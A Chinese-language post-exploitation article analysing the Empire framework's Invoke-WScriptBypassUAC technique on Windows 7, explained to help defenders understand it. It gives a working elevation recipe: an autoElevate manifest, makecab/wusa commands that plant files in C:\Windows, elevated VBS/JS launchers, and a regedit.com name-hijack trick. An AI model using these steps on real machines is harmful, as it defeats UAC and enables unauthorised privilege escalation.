標籤:

Empire中的Invoke-WScriptBypassUAC利用分析

0x00 前言

知名的後滲透測試框架Empire是一個很好的學習模板,其中包含的後滲透技巧很值得深入研究。

本文將要挑選Empire中一個經典的UAC繞過方法Invoke-WScriptBypassUAC進行分析,介紹繞過原理以及在滲透測試中的更多利用技巧。知道如何利用,才能知道如何防禦。

Invoke-WScriptBypassUAC地址:

github.com/EmpireProjec

0x01 簡介

本文將要介紹如下內容:

· Invoke-WScriptBypassUAC繞過原理

· 利用擴展

· 防禦檢測

0x02 Invoke-WScriptBypassUAC繞過原理

Invoke-WScriptBypassUAC通過powershell實現,思路上借鑒了Vozzie分享的github,地址如下:

github.com/Vozzie/uacsc

Vozzie提到ZDI和微軟選擇忽略該UAC繞過「漏洞」,ZDI認為這不是一個遠程漏洞,微軟認為UAC繞過不屬於漏洞範疇

Invoke-WScriptBypassUAC在實現上使用了一些實用的小技巧,所以本文主要對Invoke-WScriptBypassUAC的繞過方法進行分析

該方法只適用於Win7,而Win8、Win10不適用(原因在後面介紹)

測試系統: Win7 x86

由於powershell格式的源代碼公開,所以直接介紹該腳本關鍵的操作流程:

1、判斷操作系統是否為Win7,是否為普通許可權

2、Temp目錄釋放文件wscript.exe.manifest

3、使用makecab.exe對wscript.exe.manifest和wscript.exe進行壓縮

4、使用wusa將壓縮包解壓縮,將wscript.exe.manifest和wscript.exe釋放至c:Windows目錄

5、payload保存在Appdata文件夾的ADS中

6、使用c:Windowswscript.exe執行payload,實現管理員許可權執行payload,繞過UAC

0x03 利用擴展

掌握操作流程後,我們完全可以手動進行拆分測試,在這個過程中能發現更多利用思路

1、保存wscript.exe.manifest文件

代碼如下:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>n<assembly xmlns="urn:schemas-microsoft-com:asm.v1"n xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"n manifestVersion="1.0">n <asmv3:trustInfo>n <security>n <requestedPrivileges>n <requestedExecutionLevel level="RequireAdministrator" uiAccess="false"/>n </requestedPrivileges>n </security>n </asmv3:trustInfo>n <asmv3:application>n <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">n <autoElevate>true</autoElevate>n <dpiAware>true</dpiAware>n </asmv3:windowsSettings>n </asmv3:application>n</assembly>n

2、使用makecab製作cab文件

cmd:

makecab c:windowssystem32wscript.exe %TMP%1.tmpnmakecab wscript.exe.manifest %TMP%2.tmpn

3、使用wusa解壓縮cab文件並釋放至c:windows

cmd:

wusa %TMP%1.tmp /extract:"c:windows" /quietnwusa %TMP%2.tmp /extract:"c:windows" /quietn

註:

該方法成功的關鍵在於使用wusa能夠將cab文件解壓縮至c:windows,通常情況下,向c:windows目錄釋放文件需要管理員許可權,而藉助wusa,普通用戶許可權即可,當然其他管理員許可權的目錄也可以,例如: C:Windowsaddins

4、使用該wscript.exe執行vbs或者js腳本

cmd:

c:windowswscript.exe c:test1.vbsnc:windowswscript.exe c:test1.jsn

註:

此處js和vbs腳本需要絕對路徑,雖然是普通用戶許可權的cmd,但因為wscript.exe同級目錄下的wscript.exe.manifest指定以管理員許可權啟動,所以執行的vbs或者js腳本是管理員許可權,這就實現了UAC繞過

執行cmd命令對應的vbs腳本如下:

Dim objShellnDim oFsonSet oFso = CreateObject("Scripting.FileSystemObject")nSet objShell = WScript.CreateObject("WScript.Shell")ncommand = "cmd /c calc.exe"nobjShell.Run command, 0nSet objShell = Nothingn

對應的js腳本如下:

new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe",0,true);n

5、繞過後清除緩存文件

刪除c:windows下的wscript.exe和wscript.exe.manifest

對應vbs腳本如下:

Dim objShellnDim oFsonSet oFso = CreateObject("Scripting.FileSystemObject")nSet objShell = WScript.CreateObject("WScript.Shell")ncommand = "cmd /c del c:windowswscript.exe && del c:windowswscript.exe.manifest"nobjShell.Run command, 0nSet objShell = Nothingn

對應js腳本如下:

new ActiveXObject("WScript.Shell").Run("cmd /c del c:windowswscript.exe && del c:windowswscript.exe.manifest",0,true);n

註:

刪除c:windows下的wscript.exe和wscript.exe.manifest需要管理員許可權

刪除緩存文件:

del %TMP%1.tmpndel %TMP%2.tmpn

6、補充

(1)可供利用的路徑有很多,查看文件夾屬性可使用如下powershell命令:

Get-Acl -Path c:windows|select Ownern

(2)保存vbs或者js腳本的路徑有很多,例如特殊ads:

· …文件

· 特殊COM文件

· 磁碟根目錄

更多細節可參考文章《Hidden Alternative Data Streams的進階利用技巧》

當然,Invoke-WScriptBypassUAC使用的ADS位置也很隱蔽

$env:USERPROFILEAppData默認為系統隱藏文件

所以使用dir /r看不到文件夾$env:USERPROFILEAppData,當然也無法看到添加的ads

需要使用dir /a:h /r (/a:h指定查看系統隱藏文件)才能看到,或者查看所有文件:dir /a /r

(3)Win8失敗的原因

使用makecab和wusa能夠將cab文件解壓縮至高許可權目錄,如c:windows

但利用wscript.exe和wscript.exe.manifest實現高許可權執行的方法失效,Win8使用了內嵌manifest

(4)Win10失敗的原因

Win10系統無法使用makecab和wusa能夠將cab文件解壓縮至高許可權目錄,如c:windows

當然,也使用了內嵌manifest

0x04 wusa特性的進一步利用

wusa特性:

在普通用戶的許可權下,能夠將文件釋放至管理員許可權的文件夾

適用Win7、Win8

利用一:文件名劫持

1、將calc.exe重命名為regedit.com

2、在c:windows釋放文件regedit.com

cmd:

makecab c:testregedit.com %TMP%1.tmpnwusa %TMP%1.tmp /extract:"c:windows" /quietn

3、劫持

cmd輸入regedit,會執行regedit.com,而不是regedit.exe

關於該利用方法的詳情可參考文章:《A dirty way of tricking users to bypass UAC》

替他利用方法(暫略)

0x05 防禦

該UAC繞過方法只適用於Win7,尚未見到對應補丁,殺毒軟體能對此腳本進行攔截,但也存在繞過方法

站在防禦者的角度,建議監控wusa.exe的調用

0x06 小結

本文對Invoke-WScriptBypassUAC進行了分析,雖然微軟不認可該漏洞,但在後滲透階段,不論是滲透測試人員,還是防禦方,對此都應該注意。

本文為 3gstudent 原創稿件,授權嘶吼獨家發布,如若轉載,請註明原文地址: 4hou.com/technology/763 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

新型MacOS勒索軟體:正在偽裝成PS軟體傳播
美國中央情報局(CIA)如何使用人工智慧收集社交媒體數據
信息安全專業的發展會受到文憑的限制嗎?
如何評價網易雲音樂被掛馬編譯器掛馬?
子域名枚舉、探測工具AQUATONE 使用指南

TAG:信息安全 |